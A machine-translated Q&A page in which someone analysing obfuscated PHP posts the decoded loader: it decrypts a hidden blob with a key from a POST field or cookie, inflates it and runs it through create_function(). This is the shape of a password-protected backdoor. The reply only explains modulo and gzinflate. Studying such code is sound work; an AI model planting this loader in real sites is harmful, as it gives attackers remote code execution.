base64 — зашифрованный php код

вопрос

У меня есть некоторый код PHP, который я расшифровываю (де-обфускацирует) в течение 2 часов. Я, наконец, преобразовал его обратно в читаемый код, но у меня все еще есть некоторые проблемы с пониманием алгоритма, используемого здесь, из-за недостатка знаний о некоторых вещах в коде ниже.

Код

<?php

$posted = isset($_POST['posted']) ? $_POST['posted'] : (isset($_COOKIE['posted']) ? $_COOKIE['posted'] : NULL);
if ($posted!==NULL) {
$posted= md5($posted) . substr(md5(strrev($posted)), 0, strlen($posted));
for ($counter=0; $counter < 15324; $counter++)    {
$idk[$counter] = chr((ord($idk[$counter]) - ord($posted[$counter])) % 256);
$posted.=$idk[$counter];
}

if($idk = @gzinflate($idk)) {
if (isset($_POST['posted']))
@setcookie('posted', $_POST['posted']);
$counter = create_function('', $idk);
unset($idk, $posted);
$counter();
}
}

$idk переменная уже является значением, которое содержит длинную строку, которая декодируется в base64.

Что я не понимаю

Я понимаю почти весь код, но я не понимаю, что % 256 здесь, а также я не знаю, что gzinflate() делает.

0

Решение

Так, gzinflate() распаковывает входные данные, которые сжимаются zlib DEFLATE алгоритм. Соответствующая функция компресс или же выкачивать несжатая строка называется gzdeflate(), и эта страница руководства содержит немного больше информации:

Эта функция сжимает данную строку, используя формат данных DEFLATE.

Подробнее об алгоритме сжатия DEFLATE смотрите в документе «DEFLATE Спецификация формата сжатых данных версия 1.3«(RFC 1951). Сохраняя несколько деталей, это похоже на сжатие файла с использованием gzip myfile.txt в командной строке Linux, которая создаст сжатый файл myfile.txt.gz, Короче говоря, это распаковка сжатых данных, назначенных $idk,

$variable % 256 возвращает остаток от деления $variable от 256, Если я установлю $variable в 258, $variable % 256 было бы 2, Это часто используется, когда вы хотите увидеть, является ли число чисто делимым на другое число. Если бы я хотел показать обновление состояния каждый 100 времена цикла, например, я мог бы сделать:

<?php

for ($i = 1; $i <= 1000; ++$i)
{
// Do something on each loop.

if (($i % 100) == 0)
{
echo sprintf("Loop %d of 1000; %d percent complete.\n", $i, $i / 1000 * 100);
}
}

Но, очевидно, есть много других применений.

Чтобы помочь вам выяснить, что именно делает этот исходный код, я бы рекомендовал пройтись по нему шаг за шагом с реальным вводом и посмотреть, что происходит после каждого шага. Мне будет трудно понять гораздо больше о том, что он делает, без большого контекста.

3

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]